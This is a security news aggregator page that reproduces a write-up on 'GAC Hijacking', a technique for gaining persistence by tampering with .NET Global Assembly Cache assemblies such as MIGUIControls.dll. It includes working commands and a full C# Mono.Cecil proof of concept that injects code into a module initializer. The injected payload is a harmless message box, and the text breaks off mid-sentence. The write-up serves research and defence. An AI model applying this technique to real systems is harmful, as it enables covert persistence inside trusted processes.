Security News

Cybersecurity news aggregator

🪟
MEDIUM Attacks Reddit r/netsec

GAC Hijacking

  • What: Threat actors with elevated privileges can tamper with assemblies in the Global Assembly Cache (GAC) to execute arbitrary code.
  • Impact: Successful exploitation could lead to persistence by blending into a trusted process.
Read Full Article →

The Global Assembly Cache is a system-wide repository in the .NET framework that stores strong named (name + version + culture + public key token identity) assemblies so multiple applications can use them without version conflicts. On Windows systems, GAC is typically under %windir%\Microsoft.NET\assembly , and assemblies stored there are intended to be globally available to CLR-hosting processes (services, IIS, desktop applications etc.). Threat actors with elevated privileges on the asset could tamper, an assembly inside the GAC folder to execute arbitrary code. The technique could establish persistence by blending into a trusted process. GAC Repository Strong named assemblies are stored in the Global Assembly Cache (GAC). The below is an example path: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\TaskScheduler\v4.0_10.0.0.0__31bf3856ad364e35\TaskScheduler.dll Global Assembly Cache – Example Repository Modifications of files within the GAC folder requires elevated privileges (Local Administrator). Get-Acl "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\TaskScheduler\v4.0_10.0.0.0__31bf3856ad364e35" | fl GAC Permissions Playbook Threat actors with local administrator privileges could modify an assembly in the GAC without re-signing and replace the original to execute arbitrary code. One of these assemblies is the MIGUIControls.dll that is loaded by the task scheduler snap-in for mmc.exe. The DLL is located in the folder below: ls "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\MiguiControls\v4.0_1.0.0.0__31bf3856ad364e35" MIGUIControls.dll The targeted assembly is copied to a folder controlled by the threat actor. cp "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\MiguiControls\v4.0_1.0.0.0__31bf3856ad364e35\MIGUIControls.dll" C:\temp Assembly Copy Cecil is a .NET library that allows inspection and modification of .NET assemblies directly from Visual Studio. Therefore, the Mono.Cecil NuGet package must be installed on Visual Studio. Visual Studio Cecil Install Cecil William Knowles released a proof of concept that generates a message box when the modified assembly is loaded. using Mono.Cecil; using Mono.Cecil.Cil; using System; using System.IO; using System.Linq; using System.Reflection; namespace MinimalPOC { class Program { static void Main(string[] args) { if (args.Length < 2) { Console.WriteLine("Usage: MinimalPOC <inputPath> <outputPath> [snkPath]"); return; } string inputPath = args[0]; string outputPath = args[1]; string snkPath = args.Length >= 3 ? args[2] : null; var assembly = AssemblyDefinition.ReadAssembly(inputPath, new ReaderParameters { ReadWrite = true }); var moduleType = assembly.MainModule.Types.FirstOrDefault(t => t.Name == "<Module>"); if (moduleType == null) { Console.WriteLine("[-] <Module> type not found."); return; } var cctor = moduleType.Methods.FirstOrDefault(m => m.Name == ".cctor"); if (cctor == null) { cctor = new MethodDefinition(".cctor", Mono.Cecil.MethodAttributes.Private | Mono.Cecil.MethodAttributes.HideBySig | Mono.Cecil.MethodAttributes.Static | Mono.Cecil.MethodAttributes.SpecialName | Mono.Cecil.MethodAttributes.RTSpecialName, assembly.MainModule.TypeSystem.Void ); moduleType.Methods.Add(cctor); } else { Console.WriteLine("[-] Module initializer already exists."); return; } var il = cctor.Body.GetILProcessor(); il.Body.Variables.Clear(); il.Body.Instructions.Clear(); var startRef = assembly.MainModule.ImportReference( typeof(System.Diagnostics.Process).GetMethod("Start", new[] { typeof(string), typeof(string) }) ); il.Append(il.Create(OpCodes.Nop)); il.Append(il.Create(OpCodes.Ldstr, @"C:\Windows\System32\msg.exe")); il.Append(il.Create(OpCodes.Ldstr, "* \"ipurple.team - Flow hijacked\"")); il.Append(il.Create(OpCodes.Call, startRef)); il.Append(il.Create(OpCodes.Pop)); il.Append(il.Create(OpCodes.Ret)); Console.WriteLine("[*] Injected IL."); if (string.IsNullOrEmpty(snkPath)) { assembly.Write(outputPath); } else { Console.WriteLine("[*] Re-signing assembly"); var keyPairBytes = File.ReadAllBytes(snkPath); var writerParams = new WriterParameters { StrongNameKeyPair = new StrongNameKeyPair(keyPairBytes) }; assembly.Write(outputPath, writerParams); } Console.WriteLine($"[*] Assembly written to: {outputPath}"); } } } The proof of concept requires two arguments: the path to the legitimate assembly and the path where the modified assembly will be written. The tampered assembly’s strong name matches the legitimate one. .\GAC-PoC.exe C:\temp\MIGUIControls.dll C:\temp\modified\MIGUIControls.dll [System.Reflection.AssemblyName]::GetAssemblyName("C:\temp\MIGUIControls.dll").FullName [System.Reflection.AssemblyName]::GetAssemblyName("C:\temp\modified\MIGUIControls.dll").FullName GAC Hijacking & Identical Strong Name The tampered assembly should be copied into the directory where the legitimate assembly resides to trigger the hijacking. If the native image exists, the tampered assembly will not be loaded. Deletion of the native image folder could be performed via the ngen utility. The purpose...

Share this article